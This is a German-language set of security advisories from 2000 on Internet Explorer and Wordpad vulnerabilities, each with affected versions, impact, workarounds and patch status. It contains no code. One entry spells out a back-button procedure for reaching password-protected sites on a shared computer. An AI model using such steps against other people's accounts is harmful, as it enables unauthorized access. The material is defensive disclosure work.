Betrifft | Internet Explorer 4.0, 4.01, 5.0 und 5.01 |
Wirkung | Zugriff auf lokale Dateien |
Patch |
Weitere Informationen
Unauthorized Cookie Access
Viele Surfer haben ihren Browser so konfiguriert, dass er Cookies - zumindest von ausgewählten Internetangeboten - akzeptiert. Schließlich geht der Inhalt der Datenkrümel nur die Site etwas an, die ihn gesetzt hat. Dieses Sicherheitskonzept weist jedoch Löcher auf.
Klickt der Anwender einen entsprechend manipulierten Link auf einer Website an, kann diese auch Cookies lesen und ändern, die von einem anderen Server stammen. Darüber hinaus kann ein Angreifer über diese Lücke Cookies setzen, die scheinbar von einer anderen Internetseite herrühren.
Der potenzielle Schaden hängt davon ab, welche Informationen in den Cookies stecken. Dies wiederum handhabt jeder Webanbieter nach eigenem Gutdünken. Im schlimmsten Falle liegen Anschrift und E-Mail-Adresse oder sogar Kreditkartennummer und Passwort im Klartext vor.
Workaround und Patch
Als Sofortmaßnahme kann der Benutzer Active Scripting abschalten. Zudem bietet Microsoft einen Patch an, der einen installierten Internet Explorer in der Version 4.01 mit Service Pack 2 oder Version 5.01 voraussetzt. Benutzer von IE 5.0 müssen zunächst auf 5.5 aufrüsten. Der Patch behebt gleichzeitig die Sicherheitslücken Unauthorized Cookie Access und Malformed Component Attribute. Außerdem schafft er eine neue Variante des WPAD-Spoofings aus der Welt. Das Updaten auf die Version 5.5 des Internet Explorers ist zu empfehlen.
Datum | 17. Mai 2000 |
|---|---|
| |
Betrifft | Internet Explorer 4.0, 4.01, 5.0 und 5.01 |
Wirkung | Zugriff auf Cookies |
Patch |
Weitere Informationen
Malformed Component Attribute
Eine Webseite muss beim Aufruf eines ActiveX-Controls dessen Namen sowie alle benötigten Parameter übergeben. Dazu zählen beispielsweise Angaben, wo die Komponente zu finden ist oder welche Größe und Position eine Dialogbox besitzt.
Einer dieser Parameter, das Codebase-Attribut, besitzt einen ungeprüften Puffer, den man durch einen überlangen String zum Überlaufen bringen kann.
Der Designfehler kann sich auf zweierlei Art auswirken. Wenn ein Hacker den Puffer mit Zufallswerten überflutet, stürzt der Internet Explorer ab. Ein Angreifer kann hingegen auch Programm-Code übergeben, der auf dem Computer des Surfers abläuft. Das Programm besitzt in diesem Fall dieselben Berechtigungen wie der gerade angemeldete Benutzer.
Workaround und Patch
Wer nicht die Ausführung von ActiveX-Steuerelementen deaktivieren will, lädt den Patch von Microsoft. Damit die Installation glückt, muss der Internet Explorer in der Version 4.01 mit Service Pack 2 oder in der Version 5.01 vorliegen. Benutzer von IE 5.0 müssen zunächst auf 5.5 aufrüsten. Der Patch behebt gleichzeitig die Sicherheitslücken Unauthorized Cookie Access und Malformed Component Attribute. Außerdem schafft er eine neue Variante des WPAD-Spoofings aus der Welt.
Datum | 17. Mai 2000 |
|---|---|
| |
Betrifft | Internet Explorer 4.0, 4.01, 5.0 und 5.01 |
Wirkung | Ausführen von fremdem Programmcode |
Patch |
Weitere Informationen
Java aktiviert abgeschaltetes Scripting
Etliche Sicherheitslücken des Internet Explorer kommen nicht zum Tragen, wenn man Active Scripting nicht zulässt. Aber selbst das gewährt keinen vollständigen Schutz. Wie der bulgarische Bugjäger Georgi Guninski herausgefunden hat, können Angreifer Java nutzen, um die Sicherheitslücken wieder zu öffnen.
Dazu wird das Skript mit Hilfe von Java in einem Bereich gestartet, in dem sich Active Scripting nicht abschalten lässt. Dies ist in der lokalen Sicherheitszone der Fall. Gelingt es dem Angreifer in dieser Zone einen IFrame zu öffnen, lässt sich per Java eine Javascript-URL in diesen Frame schreiben und der enthaltene Code zur Ausführung bringen.
Workaround
Selbst der Internet Explorer 5.5 ist noch von dieser Sicherheitslücke betroffen. Bis Microsoft einen Patch zur Verfügung stellt, sollten Sie Active Scripting und Java deaktivieren.
Datum | April 2000 |
|---|---|
| |
Betrifft | Internet Explorer 5.0, 5.01, 5.5 |
Wirkung | Active Scripting wird trotz Deaktivierung ausgeführt |
Patch | Noch nicht verfügbar |
Weitere Informationen
Verborgene Programme in Wordpad
Über eine Sicherheitslücke im Microsoft-Programm Wordpad lässt sich beliebiger Code auf Windows 9x-Rechnern ausführen. Dazu muss der Anwender ein in Wordpad eingebettetes oder verknüpftes Objekt doppelklicken. Das Programm, das sich dahinter verbirgt, startet ohne Rückfrage.
Dieses Verhalten kann sich ein Angreifer im Internet zu Nutze machen. Eine entsprechende view-source-Anweisung auf einer Website verweist auf ein RTF-Dokument, das auf Grund seiner Größe nicht mehr mit Notepad, sondern mit Wordpad geöffnet werden kann.
Workaround
Starten Sie keine Objekte in Wordpad-Dokumenten, insbesondere wenn diese aus unbekannter Quelle stammen.
Datum | Februar 2000 |
|---|---|
| |
Betrifft | Internet Explorer unter Windows 9x |
Wirkung | Wordpad führt ohne Rückfrage Programme aus |
Patch | Noch nicht verfügbar |
Weitere Informationen
HTTP-Authentifizierung
In der Grundeinstellung speichert der Internet Explorer Anwenderdaten und erlaubt so anderen Benutzern des gleichen Computers zu einem späteren Zeitpunkt auf passwortgeschützte Sites zuzugreifen.
Wenn Sie eine Website betreten, auf der Sie Benutzername und Passwort eingeben müssen, wird dieses vom Internet Explorer zunächst gespeichert. Sollte zu einem späteren Zeitpunkt ein anderer Anwender Ihren Computer benutzen, kann er sich leicht Zugang zu der passwortgeschützten Site verschaffen. Dazu muss er nur erneut zu der geschützten Site browsen. Die nun erfolgende Passwortabfrage lässt sich mit "Abbrechen" beenden. Daraufhin erscheint die übliche Authentifizierungs-Fehlermeldung. Wechselt man nun zu einer beliebigen anderen Site und benutzt von dort aus den Zurück-Button des Browsers gelangt man ohne weitere Sicherheitsabfrage auf die geschützte Seite.
Gefährlich ist diese Sicherheitslücke besonders deswegen, weil weder das Schließen und Neustarten des Internet Explorer noch ein vollständiger Reboot vor diesem Bug schützt.
Workaround
Deaktivieren Sie die Option "Dauerhaftigkeit der Benutzerdaten" und stellen Sie die Option "Benutzerauthentifizierung/Anmeldung" auf "Nach Benutzername und Kennwort fragen". Sie finden diese Einstellungen unter "Extras/Internetoptionen/Sicherheit/Stufe anpassen..."
Datum | 31. Januar 2000 |
|---|---|
| |
Betrifft | Internet Explorer 5.0 und 5.01 |
Wirkung | Zugriff auf geschützte Seiten |
Patch | noch nicht verfügbar |